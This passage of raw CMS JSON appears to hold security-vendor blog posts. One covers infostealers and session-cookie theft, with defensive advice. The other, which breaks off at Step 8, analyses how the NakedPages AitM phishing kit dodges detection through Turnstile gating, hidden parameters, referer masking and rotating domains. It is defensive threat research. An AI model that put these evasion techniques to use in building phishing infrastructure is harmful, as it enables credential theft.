MFA.",{"data":34817,"content":34818,"nodeType":866},{},[34819],{"data":34820,"marks":34821,"value":34822,"nodeType":865},{},[],"Naturally, stolen session cookies are the most valuable prize, but they are often valid for only a limited time before the user must re-authenticate, and active sessions can often be terminated by security admins. Unfortunately, it’s not that uncommon for sessions to last for up to a month, or even sometimes indefinitely.",{"data":34824,"content":34825,"nodeType":866},{},[34826],{"data":34827,"marks":34828,"value":34829,"nodeType":865},{},[],"Stolen usernames and passwords are a different story. As the Snowflake breaches demonstrate, passwords can remain valid for years after a breach, particularly in the world of SaaS apps where mandatory password rotation is not as common as for a user’s primary domain account.",{"data":34831,"content":34832,"nodeType":866},{},[34833,34837,34845],{"data":34834,"marks":34835,"value":34836,"nodeType":865},{},[],"There’s also the problem of ",{"data":34838,"content":34840,"nodeType":889},{"uri":34839},"https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/",[34841],{"data":34842,"marks":34843,"value":33275,"nodeType":865},{},[34844],{"type":1191},{"data":34846,"marks":34847,"value":34848,"nodeType":865},{},[]," – where a local login with a username and password (and probably lacking MFA) can exist alongside other, more secure login methods such as SSO. Given the fact that many apps are self-adopted by users, these accounts continue to exist even when an app is subsequently added to SSO via the chosen IdP, meaning they can fly under the radar of security teams. ",{"data":34850,"content":34851,"nodeType":944},{},[],{"data":34853,"content":34854,"nodeType":953},{},[34855],{"data":34856,"marks":34857,"value":34858,"nodeType":865},{},[],"Should you be concerned about infostealers?",{"data":34860,"content":34861,"nodeType":866},{},[34862],{"data":34863,"marks":34864,"value":34865,"nodeType":865},{},[],"It’s commonly thought that infostealers are primarily a concern for unmanaged devices that lack security controls common to corporate IT, such as EDR. But there’s a couple of reasons why corporate users are also at risk:",{"data":34867,"content":34868,"nodeType":1229},{},[34869],{"data":34870,"marks":34871,"value":34872,"nodeType":865},{},[],"EDR can be bypassed",{"data":34874,"content":34875,"nodeType":866},{},[34876,34880,34889],{"data":34877,"marks":34878,"value":34879,"nodeType":865},{},[],"EDR is seen as the go-to solution for defending against infostealer malware. However, attackers are always looking for ways to get around security controls by obfuscating malicious behavior and evading signature-based checks. For example, ",{"data":34881,"content":34883,"nodeType":889},{"uri":34882},"https://thehackernews.com/2024/07/microsoft-defender-flaw-exploited-to.html",[34884],{"data":34885,"marks":34886,"value":34888,"nodeType":865},{},[34887],{"type":1191},"a flaw in Microsoft Defender SmartScreen was recently exploited to deliver infostealer malware",{"data":34890,"marks":34891,"value":1066,"nodeType":865},{},[],{"data":34893,"content":34894,"nodeType":866},{},[34895],{"data":34896,"marks":34897,"value":34898,"nodeType":865},{},[],"Getting total coverage across your endpoint estate is notoriously difficult, if not totally unrealistic. Unless the malware is stopped on execution, then data will inevitably be stolen, and will continue to be taken until stopped (or it self-terminates). And once an attacker has stolen employee credentials or sessions, the credential stuffing and session hijacking attacks that come next won’t touch the endpoint. For those reasons, you can’t rely on EDR as a single line of defense against infostealers.",{"data":34900,"content":34901,"nodeType":1229},{},[34902],{"data":34903,"marks":34904,"value":34905,"nodeType":865},{},[],"Unmanaged devices such as BYOD or third-parties are vulnerable",{"data":34907,"content":34908,"nodeType":866},{},[34909],{"data":34910,"marks":34911,"value":34912,"nodeType":865},{},[],"Companies that support BYOD often have less secure configurations than those with fully managed devices. The same applies to third-party contractors, who often use their own devices to access company systems on a temporary basis. ",{"data":34914,"content":34915,"nodeType":866},{},[34916,34920,34929],{"data":34917,"marks":34918,"value":34919,"nodeType":865},{},[],"This issue was acutely felt in the Snowflake attacks: There is some suggestion that targeting key third-party suppliers – ",{"data":34921,"content":34923,"nodeType":889},{"uri":34922},"https://www.wired.com/story/epam-snowflake-ticketmaster-breach-shinyhunters/",[34924],{"data":34925,"marks":34926,"value":34928,"nodeType":865},{},[34927],{"type":1191},"such as EPAM Systems, a software engineering firm and Snowflake ‘Elite Tier Partner’",{"data":34930,"marks":34931,"value":34932,"nodeType":865},{},[]," – yielded some of the access needed. It’s unclear what came first, but it’s possible (likely, even) that EPAM was identified as a target specifically because of its lucrative customer base – third-parties are a known weak point for red teamers, so it would be foolish to assume that attackers don’t also think this way. It’s possible too that EPAM were specifically targeted because of their Snowflake chops – adding another indicator that Snowflake was potentially a premeditated attack inspired by the availability of Snowflake credentials online. ",{"data":34934,"content":34935,"nodeType":1229},{},[34936],{"data":34937,"marks":34938,"value":34939,"nodeType":865},{},[],"Browser profiles can be synced across devices, increasing the blast radius",{"data":34941,"content":34942,"nodeType":866},{},[34943],{"data":34944,"marks":34945,"value":34946,"nodeType":865},{},[],"It’s not uncommon for employees to access their personal email accounts from company devices. When accessing any browser, you are typically prompted to sign in with your account credentials (e.g. your Google account). If a user signs into a browser on a company device with a personal account, you’re usually prompted to sync your account across devices. This usually means that any saved passwords, search history, and settings are shared across devices. ",{"data":34948,"content":34949,"nodeType":866},{},[34950],{"data":34951,"marks":34952,"value":34953,"nodeType":865},{},[],"Naturally, this means that if a personal device is compromised where you’re also logged into the browser profile, then an infostealer will be able to harvest information saved into that profile across devices.",{"data":34955,"content":34956,"nodeType":866},{},[34957],{"data":34958,"marks":34959,"value":34960,"nodeType":865},{},[],"Even when using separate browser profiles for work and personal, it’s easy for the two to converge, or to slip into using the wrong profile. Accessing personal accounts (or at least synchronizing data across accounts) is usually a workplace policy violation, but it’s unfortunately all too common. ",{"data":34962,"content":34963,"nodeType":866},{},[34964,34968,34977],{"data":34965,"marks":34966,"value":34967,"nodeType":865},{},[],"Previous vulnerabilities have exacerbated this problem, such as ",{"data":34969,"content":34971,"nodeType":889},{"uri":34970},"https://thehackernews.com/2024/01/malware-using-google-multilogin-exploit.html",[34972],{"data":34973,"marks":34974,"value":34976,"nodeType":865},{},[34975],{"type":1191},"an exploit affecting Google MultiLogin to maintain access to synced accounts even after a password reset",{"data":34978,"marks":34979,"value":3017,"nodeType":865},{},[],{"data":34981,"content":34982,"nodeType":1229},{},[34983],{"data":34984,"marks":34985,"value":34986,"nodeType":865},{},[],"Are infostealers a bigger problem than credential phishing? ",{"data":34988,"content":34989,"nodeType":866},{},[34990],{"data":34991,"marks":34992,"value":34993,"nodeType":865},{},[],"The short answer is: No. The longer answer is: They are both part of the bigger problem of identity attacks, and attackers can wield both approaches simultaneously. ",{"data":34995,"content":34996,"nodeType":866},{},[34997],{"data":34998,"marks":34999,"value":35000,"nodeType":865},{},[],"While they are delivered to victims in similar ways to phishing links, most organizations are arguably better protected against infostealers than modern phishing attacks because endpoint security controls provide another layer of protection, in theory – whereas modern phishing attacks don’t necessarily involve the delivery of malware that executes on the device. ",{"data":35002,"content":35003,"nodeType":866},{},[35004],{"data":35005,"marks":35006,"value":35007,"nodeType":865},{},[],"Infostealers arguably provide more bang for the attacker’s buck, grabbing a stack of credentials and useful data in one go. In contrast, phishing is usually much more targeted, and involves the compromise of a narrower set of credentials – typically focusing on a particular site or app. ",{"data":35009,"content":35010,"nodeType":866},{},[35011,35015,35024,35028,35036],{"data":35012,"marks":35013,"value":35014,"nodeType":865},{},[],"It’s worth focusing on the TTP, not the particular tool being used: The attacker technique here is ",{"data":35016,"content":35018,"nodeType":889},{"uri":35017},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/session_cookie_theft/description.md",[35019],{"data":35020,"marks":35021,"value":35023,"nodeType":865},{},[35022],{"type":1191},"session cookie theft",{"data":35025,"marks":35026,"value":35027,"nodeType":865},{},[],", and subsequently session hijacking by importing the cookie into the attacker’s browser. Both infostealers and ",{"data":35029,"content":35031,"nodeType":889},{"uri":35030},"https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/",[35032],{"data":35033,"marks":35034,"value":35035,"nodeType":865},{},[],"modern phishing attacks",{"data":35037,"marks":35038,"value":35039,"nodeType":865},{},[]," involve the theft of session tokens, and so are valid means to achieve this end. In fact, there’s nothing to stop threat groups from employing both simultaneously.",{"data":35041,"content":35045,"nodeType":921},{"target":35042},{"sys":35043},{"id":35044,"type":918,"linkType":919},"7fil6aaQDFfJGYUnQ14k10",[],{"data":35047,"content":35048,"nodeType":944},{},[],{"data":35050,"content":35051,"nodeType":953},{},[35052],{"data":35053,"marks":35054,"value":35055,"nodeType":865},{},[],"Infostealers in action",{"data":35057,"content":35058,"nodeType":866},{},[35059],{"data":35060,"marks":35061,"value":35062,"nodeType":865},{},[],"Check out the video demo below to see the attack chain in action from the point of an infostealer compromise, showing session cookie theft, reimporting the cookies into the attacker's browser, and evading policy-based controls in M365. It also shows the targeting of downstream apps that are usually accessed via SSO in the context of both a Microsoft Entra and Okta compromise.",{"data":35064,"content":35068,"nodeType":921},{"target":35065},{"sys":35066},{"id":35067,"type":918,"linkType":919},"4J7LqqjQX2W52AbmcVmjUt",[],{"data":35070,"content":35071,"nodeType":953},{},[35072],{"data":35073,"marks":35074,"value":35075,"nodeType":865},{},[],"What can organizations do about the infostealer threat? ",{"data":35077,"content":35078,"nodeType":866},{},[35079],{"data":35080,"marks":35081,"value":35082,"nodeType":865},{},[],"Security teams should have two main concerns:",{"data":35084,"content":35085,"nodeType":2374},{},[35086,35096],{"data":35087,"content":35088,"nodeType":2309},{},[35089],{"data":35090,"content":35091,"nodeType":866},{},[35092],{"data":35093,"marks":35094,"value":35095,"nodeType":865},{},[],"Data that is already out there from historical data dumps, but is still valid. ",{"data":35097,"content":35098,"nodeType":2309},{},[35099],{"data":35100,"content":35101,"nodeType":866},{},[35102],{"data":35103,"marks":35104,"value":35105,"nodeType":865},{},[],"Data in private channels that attackers could use in the future, that you are blind to. ",{"data":35107,"content":35108,"nodeType":866},{},[35109],{"data":35110,"marks":35111,"value":35112,"nodeType":865},{},[],"As always, the root-cause of the problem is a lack of meaningful visibility of what apps your employees are using (including those outside your IdP) and whether the associated identities are configured securely. ",{"data":35114,"content":35115,"nodeType":866},{},[35116],{"data":35117,"marks":35118,"value":35119,"nodeType":865},{},[],"A layered, defense-in-depth approach is required to resolve the issue, by:",{"data":35121,"content":35122,"nodeType":2374},{},[35123,35133,35143,35153],{"data":35124,"content":35125,"nodeType":2309},{},[35126],{"data":35127,"content":35128,"nodeType":866},{},[35129],{"data":35130,"marks":35131,"value":35132,"nodeType":865},{},[],"Deploying MFA across all your identities and apps, including any local logins that can’t be put behind SSO. ",{"data":35134,"content":35135,"nodeType":2309},{},[35136],{"data":35137,"content":35138,"nodeType":866},{},[35139],{"data":35140,"marks":35141,"value":35142,"nodeType":865},{},[],"Configuring time-limited session lifetimes for all apps to ensure that any stolen session tokens can only be used temporarily. ",{"data":35144,"content":35145,"nodeType":2309},{},[35146],{"data":35147,"content":35148,"nodeType":866},{},[35149],{"data":35150,"marks":35151,"value":35152,"nodeType":865},{},[],"Ensuring that employees don’t access or synchronize personal accounts on their work devices, as well as limiting non-work activities on their work device as much as possible.",{"data":35154,"content":35155,"nodeType":2309},{},[35156],{"data":35157,"content":35158,"nodeType":866},{},[35159],{"data":35160,"marks":35161,"value":35162,"nodeType":865},{},[],"Implementing a robust EDR/MDR solution to detect and respond to malware compromises on user devices. ",{"data":35164,"content":35165,"nodeType":866},{},[35166,35170,35175],{"data":35167,"marks":35168,"value":35169,"nodeType":865},{},[],"Organizations also have the option of investing in a commercial TI feed to detect and report data breaches affecting employees. But in our experience, these feeds contain ",{"data":35171,"marks":35172,"value":35174,"nodeType":865},{},[35173],{"type":935},"a lot ",{"data":35176,"marks":35177,"value":35178,"nodeType":865},{},[],"of false positives – so unless you have password visibility for employee accounts across apps, it’s going to waste a chunk of valuable time for you and your employees.",{"data":35180,"content":35181,"nodeType":866},{},[35182,35186,35195],{"data":35183,"marks":35184,"value":35185,"nodeType":865},{},[],"It would be remiss of us not to mention our recently released ",{"data":35187,"content":35189,"nodeType":889},{"uri":35188},"https://pushsecurity.com/blog/introducing-session-token-theft-detection-why-browser-is-best/",[35190],{"data":35191,"marks":35192,"value":35194,"nodeType":865},{},[35193],{"type":1191},"session token theft detection feature",{"data":35196,"marks":35197,"value":35198,"nodeType":865},{},[]," that identifies session token theft by adding telemetry to the user agent string – using the power of our browser agent to create a new high-fidelity signal for security teams. It can also be applied more generally to detect any session taking place in an unmanaged browser – so you can use it to spot unauthorized access to company apps in general, too.  ",{"data":35200,"content":35204,"nodeType":921},{"target":35201},{"sys":35202},{"id":35203,"type":918,"linkType":919},"3XgpqEGzZSD2J0uvnCg5D8",[],{"data":35206,"content":35207,"nodeType":1229},{},[35208],{"data":35209,"marks":35210,"value":35211,"nodeType":865},{},[],"What’s next for infostealers?",{"data":35213,"content":35214,"nodeType":866},{},[35215],{"data":35216,"marks":35217,"value":35218,"nodeType":865},{},[],"All the signs point to the fact that infostealers will continue being a useful tool in the attacker’s arsenal. The Snowflake attacks in particular are both a warning for defenders and encouragement for attackers. It's also a good reminder that while infostealers were once used to harvest things like VPN creds to pivot to the internal network, they're now largely used to target third-party services over the internet. ",{"data":35220,"content":35221,"nodeType":866},{},[35222],{"data":35223,"marks":35224,"value":35225,"nodeType":865},{},[],"To evade EDR, it’s likely that we’ll see a growing number of families and variants used by individual groups, or better ‘enterprise’ capabilities from malware-as-a-service vendors. ",{"data":35227,"content":35228,"nodeType":866},{},[35229,35233,35242,35246,35254],{"data":35230,"marks":35231,"value":35232,"nodeType":865},{},[],"One notable quirk is that, to date, infostealers have not really branched out from targeting browsers. Take the example of password manager apps – you would think this would be an obvious target, right? But, they’re not usually targeted (",{"data":35234,"content":35236,"nodeType":889},{"uri":35235},"https://securitysenses.com/posts/malware-targeting-password-managers",[35237],{"data":35238,"marks":35239,"value":35241,"nodeType":865},{},[35240],{"type":1191},"with some exceptions",{"data":35243,"marks":35244,"value":35245,"nodeType":865},{},[],"). And when they do, ",{"data":35247,"content":35248,"nodeType":889},{"uri":35235},[35249],{"data":35250,"marks":35251,"value":35253,"nodeType":865},{},[35252],{"type":1191},"they work by eavesdropping on the password manager’s browser extension in action",{"data":35255,"marks":35256,"value":35257,"nodeType":865},{},[]," – meaning they are intercepted one-at-a-time as the user uses them, rather than targeting the password manager directly and exporting the saved passwords all at once. It will be interesting to see whether these capabilities are added in the future. ",{"data":35259,"content":35260,"nodeType":866},{},[35261,35265,35274,35277,35286,35290,35299],{"data":35262,"marks":35263,"value":35264,"nodeType":865},{},[],"On the other hand, there are defensive security developments that could reduce the ability of attackers to leverage things like stolen session tokens, such as ",{"data":35266,"content":35268,"nodeType":889},{"uri":35267},"https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection",[35269],{"data":35270,"marks":35271,"value":35273,"nodeType":865},{},[35272],{"type":1191},"Microsoft’s token binding feature in Entra",{"data":35275,"marks":35276,"value":3215,"nodeType":865},{},[],{"data":35278,"content":35280,"nodeType":889},{"uri":35279},"https://blog.chromium.org/2024/04/fighting-cookie-theft-using-device.html",[35281],{"data":35282,"marks":35283,"value":35285,"nodeType":865},{},[35284],{"type":1191},"Google’s device bound session cookies",{"data":35287,"marks":35288,"value":35289,"nodeType":865},{},[],". Google also released an ",{"data":35291,"content":35293,"nodeType":889},{"uri":35292},"https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html?m=1",[35294],{"data":35295,"marks":35296,"value":35298,"nodeType":865},{},[35297],{"type":1191},"app-bound encryption feature",{"data":35300,"marks":35301,"value":35302,"nodeType":865},{},[],", which adds additional protection against infostealers attempting to steal browser data in Chrome if the underlying Windows device is compromised. ",{"data":35304,"content":35305,"nodeType":866},{},[35306],{"data":35307,"marks":35308,"value":35309,"nodeType":865},{},[],"That said, mature versions of these controls are still years away, and while session cookie theft is a key risk of infostealers, it’s not the only risk – so alternative controls and mitigations remain valuable to security teams in the present. ",{"data":35311,"content":35315,"nodeType":921},{"target":35312},{"sys":35313},{"id":35314,"type":918,"linkType":919},"5loTnpvwGD3kaKMXBp23hZ",[],{"data":35317,"content":35318,"nodeType":866},{},[35319],{"data":35320,"marks":35321,"value":21,"nodeType":865},{},[],{"entries":35323},{"hyperlink":35324,"inline":35325,"block":35326},[],[],[35327,35331,35339,35342],{"sys":35328,"__typename":6278,"type":6279,"ctaText":35329,"buttonLabel":35330,"buttonColour":27559,"buttonUrl":35030},{"id":35044},"Learn more about modern AitM and BitM phishing toolkits","Read the Blog",{"sys":35332,"__typename":35333,"title":35334,"youTubeUrl":35335,"imagePlaceholder":35336},{"id":35067},"ExternalVideo","Session hijacking using stolen session cookies","https://www.youtube.com/watch?v=RlSweA5UfYw",{"url":35337,"width":1745,"height":35338},"https://images.ctfassets.net/y1cdw1ablpvd/4ONwBrDgXX7NdfkMoIVu8v/775f0c1646e90220b2df9fe17ec30690/Slide_16_9_-_44__2_.png",1080,{"sys":35340,"__typename":6278,"type":6279,"ctaText":35341,"buttonLabel":35330,"buttonColour":6282,"buttonUrl":35188},{"id":35203},"Learn more about how we use browser telemetry to detect and stop session token theft",{"sys":35343,"__typename":6278,"type":6279,"ctaText":35344,"buttonLabel":35345,"buttonColour":6282,"buttonUrl":35346},{"id":35314},"Check out our on-demand webinar for everything you need to know about infostealers and session hijacking","Watch on-demand","https://pushsecurity.com/resources/video/infostealers-webinar-ondemand/",{"items":35348},[],{},"How infostealers fuel breaches with stolen creds and cookies","2024-07-31T00:00:00.000Z",{"items":35353},[35354,35936,36442],{"__typename":1802,"sys":35355,"content":35357,"title":35922,"synopsis":35923,"hashTags":59,"publishedDate":35924,"slug":35925,"tagsCollection":35926,"authorsCollection":35932},{"id":35356},"11C3shj5SlkS8sAd3AlYDp",{"json":35358},{"data":35359,"content":35360,"nodeType":1663},{},[35361,35381,35400,35407,35413,35420,35427,35434,35441,35449,35468,35475,35482,35489,35495,35502,35534,35541,35548,35555,35562,35568,35575,35582,35589,35621,35627,35634,35641,35672,35678,35685,35692,35699,35706,35712,35718,35725,35732,35739,35745,35752,35759,35766,35773,35792,35808,35814,35821,35828,35834,35841,35860,35866,35873,35900,35907,35914],{"data":35362,"content":35363,"nodeType":866},{},[35364,35368,35377],{"data":35365,"marks":35366,"value":35367,"nodeType":865},{},[],"It’s been well reported that ",{"data":35369,"content":35371,"nodeType":889},{"uri":35370},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/",[35372],{"data":35373,"marks":35374,"value":35376,"nodeType":865},{},[35375],{"type":1191},"identity attacks are on the rise",{"data":35378,"marks":35379,"value":35380,"nodeType":865},{},[],", and constantly evolving phishing tools and techniques are a big part of this. In particular, the increasing prevalence of MFA has led to AitM phishing attacks becoming much more common. The threat intelligence industry naturally wants to locate and shutdown all the phishing servers – but the phishers are fighting back.",{"data":35382,"content":35383,"nodeType":866},{},[35384,35388,35396],{"data":35385,"marks":35386,"value":35387,"nodeType":865},{},[],"Before we dive into how AitM phishing kits evade detection, you should check out our earlier blog post on ‘",{"data":35389,"content":35390,"nodeType":889},{"uri":35030},[35391],{"data":35392,"marks":35393,"value":35395,"nodeType":865},{},[35394],{"type":1191},"Phishing 2.0 – how phishing toolkits are evolving with AitM",{"data":35397,"marks":35398,"value":35399,"nodeType":865},{},[],"’ if you want to get up to speed with what these toolkits are, and why attackers are using them more regularly. ",{"data":35401,"content":35402,"nodeType":866},{},[35403],{"data":35404,"marks":35405,"value":35406,"nodeType":865},{},[],"In this blog post, we’re going to look at a recent instance of the NakedPages AitM phishing toolkit and some of the steps it takes to frustrate detection and analysis. In particular, we’ll look at how malicious activity is obfuscated through the use of legitimate SaaS services. NakedPages uses a range of different techniques and so serves as a good case study as to how AitM toolkits are being designed to evade detection.",{"data":35408,"content":35412,"nodeType":921},{"target":35409},{"sys":35410},{"id":35411,"type":918,"linkType":919},"2Qcn2nNRXVkdqqxGO8lDZf",[],{"data":35414,"content":35415,"nodeType":866},{},[35416],{"data":35417,"marks":35418,"value":35419,"nodeType":865},{},[],"Before we dive in, it’s useful to keep in mind that while there is a lot of complication here, most of this happens in seconds and is transparent to the intended victim accessing from a real browser.",{"data":35421,"content":35422,"nodeType":953},{},[35423],{"data":35424,"marks":35425,"value":35426,"nodeType":865},{},[],"Step 1: Cloudflare Workers for the initial gateway",{"data":35428,"content":35429,"nodeType":866},{},[35430],{"data":35431,"marks":35432,"value":35433,"nodeType":865},{},[],"A key feature of the NakedPages kit is that it has several stages and redirections and, in order for it to operate as intended, the target has to arrive at the beginning. The first step involves visiting a URL that is simply a Cloudflare Worker. Cloudflare Workers are a serverless execution environment, a bit like AWS lambdas.",{"data":35435,"content":35436,"nodeType":866},{},[35437],{"data":35438,"marks":35439,"value":35440,"nodeType":865},{},[],"The benefit to the attacker is that this gives them a highly reputable primary domain as it is one owned and operated by Cloudflare. Flagging recently registered or uncategorized/rare domains for further analysis won’t work for this. For example, the URL used in this instance was the following:",{"data":35442,"content":35443,"nodeType":866},{},[35444],{"data":35445,"marks":35446,"value":35448,"nodeType":865},{},[35447],{"type":3535},"hxxps://226028cc.502f135e3e036e726fba22d4.workers.dev",{"data":35450,"content":35451,"nodeType":866},{},[35452,35456,35465],{"data":35453,"marks":35454,"value":35455,"nodeType":865},{},[],"For other examples of Cloudflare Workers being abused for phishing, ",{"data":35457,"content":35459,"nodeType":889},{"uri":35458},"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/its-raining-phish-and-scams-how-cloudflare-pages-dev-and-workers-dev-domains-get-abused/",[35460],{"data":35461,"marks":35462,"value":35464,"nodeType":865},{},[35463],{"type":1191},"check out this blog post from Trustwave",{"data":35466,"marks":35467,"value":1066,"nodeType":865},{},[],{"data":35469,"content":35470,"nodeType":953},{},[35471],{"data":35472,"marks":35473,"value":35474,"nodeType":865},{},[],"Step 2: Cloudflare Turnstile for bot detection",{"data":35476,"content":35477,"nodeType":866},{},[35478],{"data":35479,"marks":35480,"value":35481,"nodeType":865},{},[],"The only purpose of the Cloudflare Worker is to act as a bot gateway to prevent automated analysis getting further than this point. For this it uses Cloudflare Turnstile. Turnstile is a highly effective tool for detecting the difference between bots and human users as a replacement for CAPTCHAs used by websites across the world. ",{"data":35483,"content":35484,"nodeType":866},{},[35485],{"data":35486,"marks":35487,"value":35488,"nodeType":865},{},[],"If it doesn’t work transparently then you’ll probably see something like this:",{"data":35490,"content":35494,"nodeType":921},{"target":35491},{"sys":35492},{"id":35493,"type":918,"linkType":919},"4XNxLbiZf3xUK1WeFDjjxl",[],{"data":35496,"content":35497,"nodeType":866},{},[35498],{"data":35499,"marks":35500,"value":35501,"nodeType":865},{},[],"However, who else wants to keep out the bots? Well, phishers of course! There are many sandbox environments and other automated platforms out there, visiting every URL they come across in the search for malicious behavior. This stops many of them in their tracks as they never get past the Turnstile check. ",{"data":35503,"content":35504,"nodeType":866},{},[35505,35509,35518,35522,35531],{"data":35506,"marks":35507,"value":35508,"nodeType":865},{},[],"Malicious use of Turnstile use has become much more common now. Examples include other criminal kits ",{"data":35510,"content":35512,"nodeType":889},{"uri":35511},"https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/",[35513],{"data":35514,"marks":35515,"value":35517,"nodeType":865},{},[35516],{"type":1191},"such as Tycoon",{"data":35519,"marks":35520,"value":35521,"nodeType":865},{},[],", as well as ",{"data":35523,"content":35525,"nodeType":889},{"uri":35524},"https://fin3ss3g0d.net/index.php/2024/04/08/evilgophishs-approach-to-advanced-bot-detection-with-cloudflare-turnstile/",[35526],{"data":35527,"marks":35528,"value":35530,"nodeType":865},{},[35529],{"type":1191},"open-source phishing tools focused on red teaming",{"data":35532,"marks":35533,"value":4835,"nodeType":865},{},[],{"data":35535,"content":35536,"nodeType":953},{},[35537],{"data":35538,"marks":35539,"value":35540,"nodeType":865},{},[],"Step 3: Required URL parameters and custom auth headers",{"data":35542,"content":35543,"nodeType":866},{},[35544],{"data":35545,"marks":35546,"value":35547,"nodeType":865},{},[],"If you get past Turnstile, then you’ll finally be redirected to a more conventionally suspicious domain. However, you’ll need to supply the correct URL parameters and headers, or that request might behave differently. ",{"data":35549,"content":35550,"nodeType":866},{},[35551],{"data":35552,"marks":35553,"value":35554,"nodeType":865},{},[],"Suspicious domains can be found and interrogated through other means, such as observing new domain registrations or certificate transparency logs. In this case, the phishers add other steps involving required URL parameters and custom headers. This means that a defender who knows the domain name can’t discover the malicious behavior just by making a simple HTTP(S) request to the domain.",{"data":35556,"content":35557,"nodeType":866},{},[35558],{"data":35559,"marks":35560,"value":35561,"nodeType":865},{},[],"The following code snippet shows how this operates. Bonus points for spotting how they actually forgot to implement their own RSA encryption function and instead send their “encrypted” user agents in clear text:",{"data":35563,"content":35567,"nodeType":921},{"target":35564},{"sys":35565},{"id":35566,"type":918,"linkType":919},"45aif31bot9phquQPkz20p",[],{"data":35569,"content":35570,"nodeType":953},{},[35571],{"data":35572,"marks":35573,"value":35574,"nodeType":865},{},[],"Step 4: Requiring JavaScript execution",{"data":35576,"content":35577,"nodeType":866},{},[35578],{"data":35579,"marks":35580,"value":35581,"nodeType":865},{},[],"Another aspect of the previous step is that it requires JavaScript to execute. That means defensive techniques that simply make HTTP(S) requests and scrape content will not automatically be able to follow the link without allowing JavaScript execution. This forces the use of dynamic sandbox techniques that actually load a DOM, as it’s almost impossible for static analysis to generically solve this problem.",{"data":35583,"content":35584,"nodeType":953},{},[35585],{"data":35586,"marks":35587,"value":35588,"nodeType":865},{},[],"Step 5: Redirecting to legitimate domains",{"data":35590,"content":35591,"nodeType":866},{},[35592,35596,35604,35608,35617],{"data":35593,"marks":35594,"value":35595,"nodeType":865},{},[],"Attackers will also redirect to legitimate domains to mask their activity. Let’s say a defender has visited the attacker’s malicious domain without executing JavaScript or supplying the correct URL parameters. The attacker doesn’t want to activate their malicious phishing behavior at this point, so they need to do something benign instead. In this case, they simply redirect to ",{"data":35597,"content":35599,"nodeType":889},{"uri":35598},"https://example.com",[35600],{"data":35601,"marks":35602,"value":35598,"nodeType":865},{},[35603],{"type":1191},{"data":35605,"marks":35606,"value":35607,"nodeType":865},{},[],". Interestingly, ",{"data":35609,"content":35611,"nodeType":889},{"uri":35610},"https://www.youtube.com/watch?v=-W-LxcbUxI4&t=643s",[35612],{"data":35613,"marks":35614,"value":35616,"nodeType":865},{},[35615],{"type":1191},"EvilProxy has also been seen redirecting to example.com too",{"data":35618,"marks":35619,"value":35620,"nodeType":865},{},[],":",{"data":35622,"content":35626,"nodeType":921},{"target":35623},{"sys":35624},{"id":35625,"type":918,"linkType":919},"450Y7W1uXVkKSps5y0xhBe",[],{"data":35628,"content":35629,"nodeType":953},{},[35630],{"data":35631,"marks":35632,"value":35633,"nodeType":865},{},[],"Step 6: HTTP referer header masking",{"data":35635,"content":35636,"nodeType":866},{},[35637],{"data":35638,"marks":35639,"value":35640,"nodeType":865},{},[],"Maintainers of legitimate websites often look at the HTTP referer header to see where they are being linked from. This is often a critical task for businesses, particularly for things like marketing. However, what if employees spot strange redirects coming in from suspicious looking domains like the ones used by this phishing kit? Perhaps they might investigate those domains and/or tip off relevant security vendors and organizations. ",{"data":35642,"content":35643,"nodeType":866},{},[35644,35648,35656,35660,35668],{"data":35645,"marks":35646,"value":35647,"nodeType":865},{},[],"Unless, of course, you were to use a service to mask the HTTP referrer – which is exactly what the phishing kit does in this case. NakedPages makes use of ",{"data":35649,"content":35651,"nodeType":889},{"uri":35650},"https://href.li/",[35652],{"data":35653,"marks":35654,"value":35650,"nodeType":865},{},[35655],{"type":1191},{"data":35657,"marks":35658,"value":35659,"nodeType":865},{},[]," as a service to strip the referral to ensure the redirection is performed anonymously. Rather conveniently, it seems the default example that ",{"data":35661,"content":35663,"nodeType":889},{"uri":35662},"https://href.li",[35664],{"data":35665,"marks":35666,"value":35662,"nodeType":865},{},[35667],{"type":1191},{"data":35669,"marks":35670,"value":35671,"nodeType":865},{},[]," uses is… example.com:",{"data":35673,"content":35677,"nodeType":921},{"target":35674},{"sys":35675},{"id":35676,"type":918,"linkType":919},"78xFQwTG1r0YWGJ24iEdYP",[],{"data":35679,"content":35680,"nodeType":953},{},[35681],{"data":35682,"marks":35683,"value":35684,"nodeType":865},{},[],"Step 7: Loading balanced domains",{"data":35686,"content":35687,"nodeType":866},{},[35688],{"data":35689,"marks":35690,"value":35691,"nodeType":865},{},[],"You’re probably thinking: Step 7? Surely, if a victim’s browser has finally made it this far then the attackers would just serve up the malicious phishing content at this point, right? Well, we aren’t quite done yet. These initial gateway servers are one of the most important components to keep undetected, as existing phishing campaigns and (as yet unread) emails will be leading to them.",{"data":35693,"content":35694,"nodeType":866},{},[35695],{"data":35696,"marks":35697,"value":35698,"nodeType":865},{},[],"Once we get to the more obviously malicious phishing activity, there is a higher chance of detection and user reports. In this case the phishing kit actually retrieves a new URL to redirect to, along with a suitable JWT authentication parameter. The benefit of this is that when URLs/hostnames get flagged as malicious, blocked or otherwise taken down, the phishing kit can just redirect to other hostnames, and the attacker’s can keep updating with new URLs over time. ",{"data":35700,"content":35701,"nodeType":866},{},[35702],{"data":35703,"marks":35704,"value":35705,"nodeType":865},{},[],"Below we can see an example of the response containing a URL, with a JWT auth parameter:",{"data":35707,"content":35711,"nodeType":921},{"target":35708},{"sys":35709},{"id":35710,"type":918,"linkType":919},"4NpH7V5oEdTASNNJsqCJ47",[],{"data":35713,"content":35717,"nodeType":921},{"target":35714},{"sys":35715},{"id":35716,"type":918,"linkType":919},"7oqkrhNXtyOlJMEz0BZyLo",[],{"data":35719,"content":35720,"nodeType":866},{},[35721],{"data":35722,"marks":35723,"value":35724,"nodeType":865},{},[],"Automating this request in this example brings back around 20 different primary domains used for the final phishing attack. These domains are rotated over time as some are blocked and new ones are created.",{"data":35726,"content":35727,"nodeType":953},{},[35728],{"data":35729,"marks":35730,"value":35731,"nodeType":865},{},[],"Step 8: Breaking login page signatures",{"data":35733,"content":35734,"nodeType":866},{},[35735],{"data":35736,"marks":35737,"value":35738,"nodeType":865},{},[],"If all the previous checks have passed then a victim user is finally presented with a 